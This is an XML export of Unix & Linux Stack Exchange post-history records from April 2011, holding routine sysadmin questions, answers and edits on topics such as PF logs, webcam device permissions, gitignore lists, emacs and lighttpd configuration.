  <row Id="28639" PostHistoryTypeId="2" PostId="11774" RevisionGUID="85113098-47c5-4c3b-a013-25e219d6a4db" CreationDate="2011-04-21T15:48:33.790" UserId="4520" Text="I haven't run across one or a reason to have one.  Then main use case for new users I have seen is to add the students for a class or some other group.  They would normally all belong to the same group.  &#xD;&#xA;&#xD;&#xA;Groups usually have a specific purpose. Unlike users groups don't usually come in groups.  &#xD;&#xA;&#xD;&#xA;Do you have a use case in mind?" />
  <row Id="28640" PostHistoryTypeId="2" PostId="11775" RevisionGUID="da832ab9-febd-42df-b392-9978e2e138d0" CreationDate="2011-04-21T16:15:35.587" UserId="6836" Text="I am runing FreeBSD 8 stable with PF as firewall, I am looking for any tool for parsing PF log's. " />
  <row Id="28641" PostHistoryTypeId="1" PostId="11775" RevisionGUID="da832ab9-febd-42df-b392-9978e2e138d0" CreationDate="2011-04-21T16:15:35.587" UserId="6836" Text="Is there any PF log parser for FreeBSD" />
  <row Id="28642" PostHistoryTypeId="3" PostId="11775" RevisionGUID="da832ab9-febd-42df-b392-9978e2e138d0" CreationDate="2011-04-21T16:15:35.587" UserId="6836" Text="éfreebsdàélogsàéfirewallà" />
  <row Id="28645" PostHistoryTypeId="5" PostId="11773" RevisionGUID="769e906a-5484-4e50-89ee-e326e910313c" CreationDate="2011-04-21T16:20:22.367" UserId="6167" Comment="changed newgroups to newusers for clarification" Text="The newusers command is useful for adding or modifying users in bulk. Is there an equivalent command for managing groups?" />
  <row Id="28646" PostHistoryTypeId="24" PostId="11773" RevisionGUID="769e906a-5484-4e50-89ee-e326e910313c" CreationDate="2011-04-21T16:20:22.367" Comment="Proposed by 6167 approved by 29 edit id of 306" />
  <row Id="28647" PostHistoryTypeId="25" PostId="11770" RevisionGUID="f30a4e0a-6778-4de8-975f-4607bc0a2ed5" CreationDate="2011-04-21T18:09:09.827" Comment="http://twitter.com/#!/StackUnix/status/61129361201434624" />
  <row Id="28648" PostHistoryTypeId="16" PostId="11745" RevisionGUID="749810f5-2035-4446-bdb4-391c18c317b7" CreationDate="2011-04-21T18:57:47.683" UserId="6475" />
  <row Id="28649" PostHistoryTypeId="5" PostId="11745" RevisionGUID="749810f5-2035-4446-bdb4-391c18c317b7" CreationDate="2011-04-21T18:57:47.683" UserId="6475" Comment="added 990 characters in body" Text="I thought I would just mention about the `byobu` wrapper that is available for screen that makes it so much better right out of the box. I don't know if something like this is available for tmux, but `byobu` made my .screenrc only a handful of lines. Check out this [quick article][1] about byoby and screenshots. [The project page for byobu][2] describes the name originating from a Japanese term for decorative, multi-panel screens that serve as folding room dividers. Also, `byobu` was already installed on my ubuntu, but you may need to install this package. Just running it doesn't harm your screen settings, so you can safely try it. Once you start the session with `byobu` you can freely reconnect to it using `screen` and still not loose any customizations done by `byobu` (so use it only for the initial invocation). The two main advantages of it are&#xD;&#xA;&#xD;&#xA; - Starts screen with a couple of status bars with useful information&#xD;&#xA; - Provides many keybindings to access screen's functionality easier&#xD;&#xA;&#xD;&#xA;I am not using the keybindings part, but definitely find the status bars useful.&#xD;&#xA;&#xD;&#xA;Also you might find [Screen Vs Tmux][3] link useful. I think most of it is already mentioned by existing answers. &#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.techrepublic.com/blog/opensource/enhance-screen-with-byobus-cool-functionality/2006?tag=rbxccnbtr1&#xD;&#xA;  [2]: https://launchpad.net/byobu&#xD;&#xA;  [3]: http://www.wikivs.com/wiki/Screen_vs_tmux" />
  <row Id="28650" PostHistoryTypeId="5" PostId="11739" RevisionGUID="a6adcb80-32c7-4167-99ac-6d1ce497d945" CreationDate="2011-04-21T19:01:32.473" UserId="885" Comment="recommend to use latin1 in addition to istrip" Text="Check if your locale settings match on the local and remote machine: run `echo $LC_CTYPE` in a local terminal and in an ssh session. If they don't match, try again with Matlab with `LC_CTYPE` set to the correct value. If that doesn't work, try with `export LC_CTYPE=C` or with `export LC_CTYPE=en_US` (shot in the dark, I don't know the nature of the bug with Matlab).&#xD;&#xA;&#xD;&#xA;If you're in a UTF-8 locale, try in an 8-bit locale such as latin1:&#xD;&#xA;&#xD;&#xA;    LC_CTYPE=en_US luit ssh redhat-host&#xD;&#xA;&#xD;&#xA;If fiddling with locales doesn't help, try something more radical: run `stty istrip` in the terminal before starting Matlab. This strips the 8th bit off the characters you type. When you enter an accented letter, Matlab will receive a garbage ASCII character, but nothing that should confuse it. Note that you should do this in addition to switching to a latin-1 locale such as `en_US`; in other locales, in particular in UTF-8, the garbage characters can be control characters.&#xD;&#xA;&#xD;&#xA;There are a lot of stty settings, but I can't think of one that would just cause non-ASCII characters to be ignored. If you experiment with `stty`, you can revert to sane defaults with `stty sane`. The changes are local to a terminal.&#xD;&#xA;" />
  <row Id="28652" PostHistoryTypeId="2" PostId="11778" RevisionGUID="07b0b290-fb3f-4d0b-ad4c-bb38c063aa8b" CreationDate="2011-04-21T19:23:12.427" UserId="2974" Text="There appears to be a bug in SCIM, I have read that you can &quot;disable SCIM by switching execution permission of script /etc/profile.d/scim.(c)sh&quot; - this is probably distribution-specific.&#xD;&#xA;&#xD;&#xA;The reason that the messages appear on your terminal can be found by inspecting /etc/syslogd.conf.&#xD;&#xA;&#xD;&#xA;That file also controls which log files the messages are also written to.&#xD;&#xA;&#xD;&#xA;It is a software fault, not a malicious cyberattack." />
  <row Id="28653" PostHistoryTypeId="2" PostId="11779" RevisionGUID="1b4b3d43-981f-4595-ae83-49f3c07f6393" CreationDate="2011-04-21T19:28:03.470" UserId="3447" Text="It might depend on your window manager, but in KDE Flash maximizes to the display the browser is in.  It may not work as expected if your browser window spans across two displays.  What I do is move the browser window to say the left screen, then hit maximize, it will be maximized on that left screen.&#xD;&#xA;&#xD;&#xA;I don't know of any way to leave the browser on the right display and have it maximize on the left." />
  <row Id="28654" PostHistoryTypeId="2" PostId="11780" RevisionGUID="af57f749-4760-4ab1-b40b-a4ae1caf3a99" CreationDate="2011-04-21T19:56:54.847" UserId="688" Text="I was following [these instructions][1] (DocBook-utils 0.6.14), and now I get the following failure when running `make`:&#xD;&#xA;&#xD;&#xA;    ...&#xD;&#xA;    SGML_CATALOG_FILES=/etc/sgml/catalog \&#xD;&#xA;    SGML_SEARCH_PATH=../../doc:.. \&#xD;&#xA;        nsgmls ../../doc/docbook-utils.sgml | \&#xD;&#xA;        sgmlspl ../../helpers/docbook2man-spec.pl&#xD;&#xA;    nsgmls:../../doc/docbook-utils.sgml:1:55:W: cannot generate system identifier for public text &quot;-//OASIS//DTD DocBook V3.1//EN&quot;&#xD;&#xA;    nsgmls:../../doc/docbook-utils.sgml:9:0:E: reference to entity &quot;BOOK&quot; for which no system identifier could be generated&#xD;&#xA;    nsgmls:../../doc/docbook-utils.sgml:1:0: entity was defined here&#xD;&#xA;    nsgmls:../../doc/docbook-utils.sgml:9:0:E: DTD did not contain element declaration for document type name&#xD;&#xA;    nsgmls:../../doc/docbook-utils.sgml:11:11:E: there is no attribute &quot;LANG&quot;&#xD;&#xA;    nsgmls:../../doc/docbook-utils.sgml:11:19:E: there is no attribute &quot;ID&quot;&#xD;&#xA;    nsgmls:../../doc/docbook-utils.sgml:11:34:E: element &quot;BOOK&quot; undefined&#xD;&#xA;    ...&#xD;&#xA;&#xD;&#xA;This goes on for several more lines.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.linuxfromscratch.org/blfs/view/svn/pst/docbook-utils.html" />
  <row Id="28655" PostHistoryTypeId="1" PostId="11780" RevisionGUID="af57f749-4760-4ab1-b40b-a4ae1caf3a99" CreationDate="2011-04-21T19:56:54.847" UserId="688" Text="I am failing to build DocBook-utils" />
  <row Id="28656" PostHistoryTypeId="3" PostId="11780" RevisionGUID="af57f749-4760-4ab1-b40b-a4ae1caf3a99" CreationDate="2011-04-21T19:56:54.847" UserId="688" Text="écompilingà" />
  <row Id="28657" PostHistoryTypeId="2" PostId="11781" RevisionGUID="0f7d3cb3-eeeb-4840-8544-44340af65319" CreationDate="2011-04-21T20:32:13.840" UserId="1571" Text="What all do you think is the best standard list of ignored files for VCS? For example here's my .gitignore_global file.&#xD;&#xA;&#xD;&#xA;    # Compiled Sources #&#xD;&#xA;    ###################&#xD;&#xA;    *.pyc&#xD;&#xA;    *.pyo&#xD;&#xA;    *.exe&#xD;&#xA;    *.so&#xD;&#xA;    *.o&#xD;&#xA;    *.a&#xD;&#xA;    *.la&#xD;&#xA;    *.dex&#xD;&#xA;    *.class&#xD;&#xA;    *.elf&#xD;&#xA;    *.ko&#xD;&#xA;    &#xD;&#xA;    &#xD;&#xA;    # Build Enviornment #&#xD;&#xA;    #####################&#xD;&#xA;    CMakeCache.txt&#xD;&#xA;    CMakeFiles&#xD;&#xA;    &#xD;&#xA;    &#xD;&#xA;    # Packages #&#xD;&#xA;    ############&#xD;&#xA;    *.bz2&#xD;&#xA;    *.iso&#xD;&#xA;    *.dmg&#xD;&#xA;    *.7z&#xD;&#xA;    *.tar&#xD;&#xA;    *.gz&#xD;&#xA;    *.zip&#xD;&#xA;    *.apk&#xD;&#xA;    *.ap_&#xD;&#xA;    &#xD;&#xA;    &#xD;&#xA;    &#xD;&#xA;    # Logs and Databases #&#xD;&#xA;    ######################&#xD;&#xA;    *.log&#xD;&#xA;    *.sql&#xD;&#xA;    *.sqlite&#xD;&#xA;    &#xD;&#xA;    &#xD;&#xA;    # OS and Application #&#xD;&#xA;    ######################&#xD;&#xA;    .DS_Store&#xD;&#xA;    enthumbs.db&#xD;&#xA;    *~&#xD;&#xA;    *.sw?&#xD;&#xA;    Thumbs.db&#xD;&#xA;    &#xD;&#xA;    &#xD;&#xA;    # IDE Crap #&#xD;&#xA;    ############&#xD;&#xA;    &#xD;&#xA;    # Eclipse&#xD;&#xA;    .classpath&#xD;&#xA;    .project&#xD;&#xA;    .metadeta&#xD;&#xA;    .pydevproject&#xD;&#xA;    .cproject&#xD;&#xA;    &#xD;&#xA;    &#xD;&#xA;    # KDevelop&#xD;&#xA;    *.kdev4&#xD;&#xA;    &#xD;&#xA;    &#xD;&#xA;    cscope.*&#xD;&#xA;    ncscope.*&#xD;&#xA;    &#xD;&#xA;    # Other VCS #&#xD;&#xA;    #############&#xD;&#xA;    .svn&#xD;&#xA;    .hg&#xD;&#xA;    &#xD;&#xA;    !.gitignore&#xD;&#xA;    &#xD;&#xA;    *.old&#xD;&#xA;    *.orig&#xD;&#xA;    \#*#&#xD;&#xA;&#xD;&#xA;Any comments? Things I'm missing? Things that should be there? (I'm sure I'm missing windows ones. Feel free to add them, but I don't dev on windows so I'm going to stay out =] )&#xD;&#xA;&#xD;&#xA;I'm trying to keep this as project/language/IDE agnostic as possible. Ie I know the `bin` and `gen` folders in android projects should be ignored, but that should go in the `.gitignore` file in the project imo." />
  <row Id="28658" PostHistoryTypeId="1" PostId="11781" RevisionGUID="0f7d3cb3-eeeb-4840-8544-44340af65319" CreationDate="2011-04-21T20:32:13.840" UserId="1571" Text="standard VCS ignore list" />
  <row Id="28659" PostHistoryTypeId="3" PostId="11781" RevisionGUID="0f7d3cb3-eeeb-4840-8544-44340af65319" CreationDate="2011-04-21T20:32:13.840" UserId="1571" Text="ésubversionàégitàéversionöcontrolà" />
  <row Id="28660" PostHistoryTypeId="2" PostId="11782" RevisionGUID="3065361c-8c8c-4dd0-bc9a-fb8ccc4d3196" CreationDate="2011-04-21T20:38:20.443" UserId="3447" Text="There is a Github project that has `.gitignore` files for many different languages and environments.&#xD;&#xA;&#xD;&#xA;https://github.com/github/gitignore" />
  <row Id="28661" PostHistoryTypeId="10" PostId="11781" RevisionGUID="543c588e-4dfb-44ea-b4ff-2e79173b94b5" CreationDate="2011-04-21T20:40:47.057" UserId="-1" CloseReasonId="3" Text="[{&quot;Id&quot;:885,&quot;DisplayName&quot;:&quot;Gilles&quot;},{&quot;Id&quot;:73,&quot;DisplayName&quot;:&quot;Michael Mrozek&quot;}]" />
  <row Id="28662" PostHistoryTypeId="25" PostId="11773" RevisionGUID="4221002e-1931-49fd-b043-c2f7811c058f" CreationDate="2011-04-21T21:09:09.830" Comment="http://twitter.com/#!/StackUnix/status/61174658552180736" />
  <row Id="28663" PostHistoryTypeId="2" PostId="11783" RevisionGUID="c280bbee-e8f7-4c30-8d9e-644c031dab3c" CreationDate="2011-04-21T21:29:42.107" UserId="6840" Text="Hello,&#xD;&#xA;&#xD;&#xA;I am new to Linux and I have a 64-bit Linux Mint 10 but it does not recognise my Lenovo Y650 camera.&#xD;&#xA;&#xD;&#xA;When I try to open the Video4Linux Control Panel, I get the following error:&#xD;&#xA;Unable to open file /dev/video0 &#xD;&#xA;Permission denied.&#xD;&#xA;&#xD;&#xA;Could you, please, give me any suggestions?&#xD;&#xA;&#xD;&#xA;Thanks,&#xD;&#xA;Hristo" />
  <row Id="28664" PostHistoryTypeId="1" PostId="11783" RevisionGUID="c280bbee-e8f7-4c30-8d9e-644c031dab3c" CreationDate="2011-04-21T21:29:42.107" UserId="6840" Text="Laptop web cam not recognised by Linux Mint" />
  <row Id="28665" PostHistoryTypeId="3" PostId="11783" RevisionGUID="c280bbee-e8f7-4c30-8d9e-644c031dab3c" CreationDate="2011-04-21T21:29:42.107" UserId="6840" Text="élinuxàélaptopà" />
  <row Id="28666" PostHistoryTypeId="2" PostId="11784" RevisionGUID="75d0d1c5-a7bc-4e14-990d-0709d8d0b939" CreationDate="2011-04-21T21:42:19.293" UserId="1925" Text="You apparently don't have permission to access the video device as your user. The best way to fix this is to put yourself into whatever group owns that devices. You can look at this by running `ls -l /dev/video0` and looking at the group column, then add yourself to that group.&#xD;&#xA;&#xD;&#xA;The not so good way to do this but that would work is to open up the devices to be read and written by all users with something like `sudo chmod 777 /dev/video0`." />
  <row Id="28667" PostHistoryTypeId="2" PostId="11785" RevisionGUID="f159589a-b7e5-43d0-91b9-761aae4e3d67" CreationDate="2011-04-21T21:46:19.073" UserId="1925" Text="You changed the shell in your user profile, but since you were already logged in your environment variables had already been set and xfce4-terminal was assuming you would want to use whatever was set as your shell when the environment got initiated. If you had logged out of everything on the machine or authenticated another way like logging in with SSH, it would have worked as well.&#xD;&#xA;&#xD;&#xA;Many terminal programs have their own preferences for what shell to launch in them. These preferences can use any program you are allowed to run as the shell, including any system authorized shells. When you authenticate against the system, the first thing it will give you is always the shell in your profile, but after that you are free to run whatever." />
  <row Id="28668" PostHistoryTypeId="5" PostId="11784" RevisionGUID="869bc64f-9c93-4096-a6b4-ba1f4577b5a2" CreationDate="2011-04-21T22:00:13.873" UserId="1925" Comment="Added more exact command and warning about root group." Text="You apparently don't have permission to access the video device as your user.&#xD;&#xA;&#xD;&#xA;The best way to fix this is to put yourself into whatever group owns that devices. A quick and dirty way to do this is with this command: `groupadd -A $(whoami) $(stat -c %G /dev/video0)` (adds your user to whatever group owns that devices node). On my system that would be video, but **beware** that if that devices is owned by root, you end up with your user in the root group (not advised!).&#xD;&#xA;&#xD;&#xA;The not so good way to do this but that would work if your distro doesn't have a sensible group ownership of that device node is to open up the device to be read and written by all users with something like `sudo chmod 777 /dev/video0`." />
  <row Id="28669" PostHistoryTypeId="5" PostId="11783" RevisionGUID="abde589a-8aa5-4e63-b17a-4421a7d31957" CreationDate="2011-04-21T22:02:58.083" UserId="1925" Comment="Simple formatting fixes and dropped signature per FAQ." Text="I am new to Linux and I have a 64-bit Linux Mint 10 but it does not recognise my Lenovo Y650 camera.&#xD;&#xA;&#xD;&#xA;When I try to open the Video4Linux Control Panel, I get the following error:&#xD;&#xA;&#xD;&#xA;&gt; Unable to open file /dev/video0 &lt;br /&gt;&#xD;&#xA;&gt; Permission denied.&#xD;&#xA;&#xD;&#xA;Could you please give me any suggestions?" />
  <row Id="28670" PostHistoryTypeId="24" PostId="11783" RevisionGUID="abde589a-8aa5-4e63-b17a-4421a7d31957" CreationDate="2011-04-21T22:02:58.083" Comment="Proposed by 1925 approved by 885 edit id of 307" />
  <row Id="28671" PostHistoryTypeId="2" PostId="11786" RevisionGUID="bdb6a354-6881-496b-b2b1-fc56e3deefb0" CreationDate="2011-04-21T22:12:09.860" UserId="4249" Text="I'm using emacs 23.1.1. I set the font size in my .emacs with&#xD;&#xA;&#xD;&#xA;    (set-face-attribute 'default nil :height 100)&#xD;&#xA;&#xD;&#xA;The problem is that my emacs is now really small. The outer box (what I call a window and what I think emacs calls a &quot;frame&quot;) is sized normally, but the inner box (which I call a &quot;frame&quot; and emacs a &quot;window&quot;, I think) is too small. I tried the suggestions [here][1], but neither of them seem to work. &#xD;&#xA;&#xD;&#xA;Any ideas? I'm on ubuntu netbook if that's relevant. My entire startup file is:&#xD;&#xA;&#xD;&#xA;    (add-hook 'after-make-frame-functions&#xD;&#xA;      (lambda (frame)&#xD;&#xA;        (progn&#xD;&#xA;          (set-frame-height frame&#xD;&#xA;        		(/ (x-display-pixel-height)&#xD;&#xA;        		   (frame-char-height)))&#xD;&#xA;          (set-frame-width frame&#xD;&#xA;        		(/ (x-display-pixel-width)&#xD;&#xA;        		   (frame-char-width))))))&#xD;&#xA;    &#xD;&#xA;    &#xD;&#xA;    (autoload 'octave-mode &quot;octave-mod&quot; nil t)&#xD;&#xA;    (setq auto-mode-alist&#xD;&#xA;          (cons '(&quot;\\.m$&quot; . octave-mode) auto-mode-alist))&#xD;&#xA;    (add-hook 'octave-mode-hook&#xD;&#xA;              (lambda ()&#xD;&#xA;                (abbrev-mode 1)&#xD;&#xA;                (auto-fill-mode 1)&#xD;&#xA;                (if (eq window-system 'x)&#xD;&#xA;                    (font-lock-mode 1))))&#xD;&#xA;    (tool-bar-mode -1)&#xD;&#xA;    (set-face-attribute 'default nil :height 100)&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://stackoverflow.com/questions/1516847/emacs-23-and-font-size" />
  <row Id="28672" PostHistoryTypeId="1" PostId="11786" RevisionGUID="bdb6a354-6881-496b-b2b1-fc56e3deefb0" CreationDate="2011-04-21T22:12:09.860" UserId="4249" Text="Emacs font size changes frame size?" />
  <row Id="28673" PostHistoryTypeId="3" PostId="11786" RevisionGUID="bdb6a354-6881-496b-b2b1-fc56e3deefb0" CreationDate="2011-04-21T22:12:09.860" UserId="4249" Text="éemacsà" />
  <row Id="28674" PostHistoryTypeId="5" PostId="11722" RevisionGUID="e0d3a349-795f-46b2-b6ae-02973fb6e9d6" CreationDate="2011-04-21T22:36:39.267" UserId="6167" Comment="clarified matt" Text="Matt's answer is quite correct but misses the historical context that when UNIX systems were first brought into larger data centers &quot;operator&quot; was usually the actual job title for the staff performing simple routine tasks on the systems." />
  <row Id="28675" PostHistoryTypeId="24" PostId="11722" RevisionGUID="e0d3a349-795f-46b2-b6ae-02973fb6e9d6" CreationDate="2011-04-21T22:36:39.267" Comment="Proposed by 6167 approved by -1 edit id of 308" />
  <row Id="28676" PostHistoryTypeId="5" PostId="11722" RevisionGUID="8bdb5ca1-d498-4b54-be79-e1ab6a239150" CreationDate="2011-04-21T22:36:39.750" UserId="885" Comment="added 100 characters in body" Text="[Matt's answer](http://unix.stackexchange.com/questions/11638/what-is-the-point-of-the-operator-user/11643#11643) is quite correct but misses the historical context that when UNIX systems were first brought into larger data centers &quot;operator&quot; was usually the actual job title for the staff performing simple routine tasks on the systems." />
  <row Id="28677" PostHistoryTypeId="2" PostId="11787" RevisionGUID="045ab0b0-cf29-42dc-a420-787daa6c467f" CreationDate="2011-04-21T22:38:44.413" UserId="1974" Text="I figured this one out by examining `ps awwwwx|grep gnome` after logging in normally. I needed to start `/usr/lib/gnome-settings-deamon/gnome-settings-daemon` on the remote machine.&#xD;&#xA;&#xD;&#xA;So I created a small shell script:&#xD;&#xA;&#xD;&#xA;    #!/bin/bash&#xD;&#xA;    &#xD;&#xA;    /usr/lib/gnome-settings-deamon/gnome-settings-daemon&#xD;&#xA;    gnome-terminal&amp;&#xD;&#xA;    nautilus --no-desktop&amp;&#xD;&#xA;    gnome-panel&#xD;&#xA;&#xD;&#xA;I set this as the command to run in the NoMachine's &quot;custom&quot; settings box, and now all my windows are themed properly!" />
  <row Id="28678" PostHistoryTypeId="5" PostId="11786" RevisionGUID="023e94ab-3f2e-4461-9887-22b68ea94d6a" CreationDate="2011-04-21T22:46:10.270" UserId="4249" Comment="add picture" Text="I'm using emacs 23.1.1. I set the font size in my .emacs with&#xD;&#xA;&#xD;&#xA;    (set-face-attribute 'default nil :height 100)&#xD;&#xA;&#xD;&#xA;The problem is that my emacs is now really small. The outer box (what I call a window and what I think emacs calls a &quot;frame&quot;) is sized normally, but the inner box (which I call a &quot;frame&quot; and emacs a &quot;window&quot;, I think) is too small. I tried the suggestions [here][1], but neither of them seem to work. &#xD;&#xA;&#xD;&#xA;Any ideas? I'm on ubuntu netbook if that's relevant. My entire startup file is:&#xD;&#xA;&#xD;&#xA;    (add-hook 'after-make-frame-functions&#xD;&#xA;      (lambda (frame)&#xD;&#xA;        (progn&#xD;&#xA;          (set-frame-height frame&#xD;&#xA;        		(/ (x-display-pixel-height)&#xD;&#xA;        		   (frame-char-height)))&#xD;&#xA;          (set-frame-width frame&#xD;&#xA;        		(/ (x-display-pixel-width)&#xD;&#xA;        		   (frame-char-width))))))&#xD;&#xA;    &#xD;&#xA;    &#xD;&#xA;    (autoload 'octave-mode &quot;octave-mod&quot; nil t)&#xD;&#xA;    (setq auto-mode-alist&#xD;&#xA;          (cons '(&quot;\\.m$&quot; . octave-mode) auto-mode-alist))&#xD;&#xA;    (add-hook 'octave-mode-hook&#xD;&#xA;              (lambda ()&#xD;&#xA;                (abbrev-mode 1)&#xD;&#xA;                (auto-fill-mode 1)&#xD;&#xA;                (if (eq window-system 'x)&#xD;&#xA;                    (font-lock-mode 1))))&#xD;&#xA;    (tool-bar-mode -1)&#xD;&#xA;    (set-face-attribute 'default nil :height 100)&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;Here is a picture of what it looks like. It might be hard to tell, but the &quot;window&quot; is taking up the whole screen; that whitespace is all inside emacs.&#xD;&#xA;&#xD;&#xA;![Emacs][2]&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://stackoverflow.com/questions/1516847/emacs-23-and-font-size&#xD;&#xA;  [2]: http://i.imgur.com/EQrWA.png" />
  <row Id="28679" PostHistoryTypeId="2" PostId="11788" RevisionGUID="6dab6e87-98d9-4c99-a29b-9addf1b4fc8d" CreationDate="2011-04-21T22:49:36.167" UserId="6841" Text="Hello,&#xD;&#xA;&#xD;&#xA;I have create a simply vhost on Lighttpd web server and put these lines on the .conf file.&#xD;&#xA;&#xD;&#xA;server.errorlog                = &quot;/var/log/lighttpd/error.log&quot;&#xD;&#xA;accesslog.filename             = &quot;/var/log/lighttpd/access.log&quot;&#xD;&#xA;&#xD;&#xA;I have read error.log and i found this:&#xD;&#xA;&#xD;&#xA;2011-04-22 00:36:58: (server.c.954) WARNING: unknown config-key: accesslog.filename (ignored)&#xD;&#xA;&#xD;&#xA;How is it possible? &quot;accesslog.filename&quot; exists, it's an option of the server.&#xD;&#xA;&#xD;&#xA;I found it on their website: http://redmine.lighttpd.net/wiki/lighttpd/Docs:ConfigurationOptions&#xD;&#xA;&#xD;&#xA;What can i do?&#xD;&#xA;&#xD;&#xA;Thank you really much!&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;" />
  <row Id="28680" PostHistoryTypeId="1" PostId="11788" RevisionGUID="6dab6e87-98d9-4c99-a29b-9addf1b4fc8d" CreationDate="2011-04-21T22:49:36.167" UserId="6841" Text="LIGHTTPD config-key: accesslog.filename" />
  <row Id="28681" PostHistoryTypeId="3" PostId="11788" RevisionGUID="6dab6e87-98d9-4c99-a29b-9addf1b4fc8d" CreationDate="2011-04-21T22:49:36.167" UserId="6841" Text="élinuxàéwebserverà" />
  <row Id="28682" PostHistoryTypeId="6" PostId="11786" RevisionGUID="a25c137f-3ea6-456a-a037-dd0858a64d95" CreationDate="2011-04-21T22:51:34.080" UserId="885" Comment="edited tags" Text="égnomeàéemacsàéfontsà" />
  <row Id="28683" PostHistoryTypeId="5" PostId="11788" RevisionGUID="7378f7e7-eb59-4a03-82d5-b102d5c24187" CreationDate="2011-04-21T22:56:12.847" UserId="885" Comment="formatting; grammar; tags; edited tags" Text="I have created a simply vhost on Lighttpd web server and put these lines on the .conf file.&#xD;&#xA;&#xD;&#xA;    server.errorlog                = &quot;/var/log/lighttpd/error.log&quot;&#xD;&#xA;    accesslog.filename             = &quot;/var/log/lighttpd/access.log&quot;&#xD;&#xA;&#xD;&#xA;I have read error.log and I found this:&#xD;&#xA;&#xD;&#xA;    2011-04-22 00:36:58: (server.c.954) WARNING: unknown config-key: accesslog.filename (ignored)&#xD;&#xA;&#xD;&#xA;How is it possible? `accesslog.filename` exists, it's an option of the server.&#xD;&#xA;&#xD;&#xA;I found it on their website: http://redmine.lighttpd.net/wiki/lighttpd/Docs:ConfigurationOptions&#xD;&#xA;&#xD;&#xA;What can I do?&#xD;&#xA;" />
  <row Id="28684" PostHistoryTypeId="6" PostId="11788" RevisionGUID="7378f7e7-eb59-4a03-82d5-b102d5c24187" CreationDate="2011-04-21T22:56:12.847" UserId="885" Comment="formatting; grammar; tags; edited tags" Text="éwebserveràélighttpdà" />
  <row Id="28685" PostHistoryTypeId="2" PostId="11789" RevisionGUID="3dac7a25-11e8-4968-98af-8ce90825526d" CreationDate="2011-04-21T23:08:35.243" UserId="885" Text="The option `accesslog.filename` is for the [`mod_accesslog`](http://redmine.lighttpd.net/wiki/lighttpd/Docs:ConfigurationOptions#mod_accesslog-access-log-files) module, so you need to load that module.&#xD;&#xA;&#xD;&#xA;    server.modules += ( &quot;mod_accesslog&quot; )&#xD;&#xA;" />
  <row Id="28687" PostHistoryTypeId="25" PostId="11786" RevisionGUID="dbc32326-c3c1-404c-81ea-5252c1aa61cc" CreationDate="2011-04-22T00:09:09.963" Comment="http://twitter.com/#!/StackUnix/status/61219958239133696" />
  <row Id="28688" PostHistoryTypeId="4" PostId="11788" RevisionGUID="41b5f273-e593-4e2b-a68e-4e7871db9425" CreationDate="2011-04-22T00:15:01.500" UserId="2511" Comment="edited title" Text="Why is lighttpd saying &quot;unknown config-key: accesslog.filename&quot;?" />
  <row Id="28689" PostHistoryTypeId="2" PostId="11790" RevisionGUID="4b3c52e1-9128-415b-ae91-243768a5e289" CreationDate="2011-04-22T02:00:55.613" UserId="6122" Text="Does this help (from the first listing in google search for PF logs).&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&gt; The log file written by pflogd is in&#xD;&#xA;&gt; binary format and cannot be read using&#xD;&#xA;&gt; a text editor. Tcpdump must be used to&#xD;&#xA;&gt; view the log.&#xD;&#xA;&gt; &#xD;&#xA;&gt; To view the log file:&#xD;&#xA;&gt; &#xD;&#xA;&gt;     # tcpdump -n -e -ttt -r /var/log/pflog&#xD;&#xA;&#xD;&#xA;other useful [info here][1]&#xD;&#xA;&#xD;&#xA;I hope this helps.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.openbsd.org/faq/pf/logging.html" />
  <row Id="28690" PostHistoryTypeId="2" PostId="11791" RevisionGUID="8e25e464-cfc6-4c46-b856-42882927ee1e" CreationDate="2011-04-22T02:21:16.680" UserId="6845" Text="In short, can single bash commands in the terminal contain conditionals? If so, how?&#xD;&#xA;&#xD;&#xA;I have in my vimrc (shared across systems) the following command to open my current LaTeX document in .pdf form:&#xD;&#xA;`map ,v :!gnome-open %&lt;.pdf &lt;CR&gt; &lt;CR&gt;` &#xD;&#xA;&#xD;&#xA;My question is, what is the best way to have ,v execute simply &quot;open %&lt;.pdf&quot; when I'm at home on my OS X machine? Here is my pseudo-code guess:&#xD;&#xA;&#xD;&#xA;`... if [$OSTYPE == &quot;darwin*&quot;] then open %&lt;.pdf else gnome-open %&lt;.pdf ...`&#xD;&#xA;&#xD;&#xA;This is executed as a single BASH command. Are such conditionals possible? If so, could someone help me with the syntax? If not, can this be done via conditionals in the vimrc file? &#xD;&#xA;" />
  <row Id="28691" PostHistoryTypeId="1" PostId="11791" RevisionGUID="8e25e464-cfc6-4c46-b856-42882927ee1e" CreationDate="2011-04-22T02:21:16.680" UserId="6845" Text="How to map one vim command to execute bash commands based on OS?" />
  <row Id="28692" PostHistoryTypeId="3" PostId="11791" RevisionGUID="8e25e464-cfc6-4c46-b856-42882927ee1e" CreationDate="2011-04-22T02:21:16.680" UserId="6845" Text="ébashàévimà" />
  <row Id="28693" PostHistoryTypeId="25" PostId="11788" RevisionGUID="c28ab537-c979-4ba4-a402-ed4341a7f6c5" CreationDate="2011-04-22T03:09:09.617" Comment="http://twitter.com/#!/StackUnix/status/61265255686348800" />
  <row Id="28694" PostHistoryTypeId="2" PostId="11792" RevisionGUID="5baae82e-053b-4912-ac4d-7613244cebae" CreationDate="2011-04-22T04:57:31.290" UserId="6797" Text="I wan to create a script in linux so that it automatically downloads latest joomla from its website and then install to the specified user . is it possible in shell script&#xD;&#xA;&#xD;&#xA;I don't know how it will find , the latest joomla and how it will work but i want to know if its possible&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;thanks" />
  <row Id="28695" PostHistoryTypeId="1" PostId="11792" RevisionGUID="5baae82e-053b-4912-ac4d-7613244cebae" CreationDate="2011-04-22T04:57:31.290" UserId="6797" Text="How to write script for automatic joomla installation in webhost" />
  <row Id="28696" PostHistoryTypeId="3" PostId="11792" RevisionGUID="5baae82e-053b-4912-ac4d-7613244cebae" CreationDate="2011-04-22T04:57:31.290" UserId="6797" Text="éshellöscriptàémysqlà" />
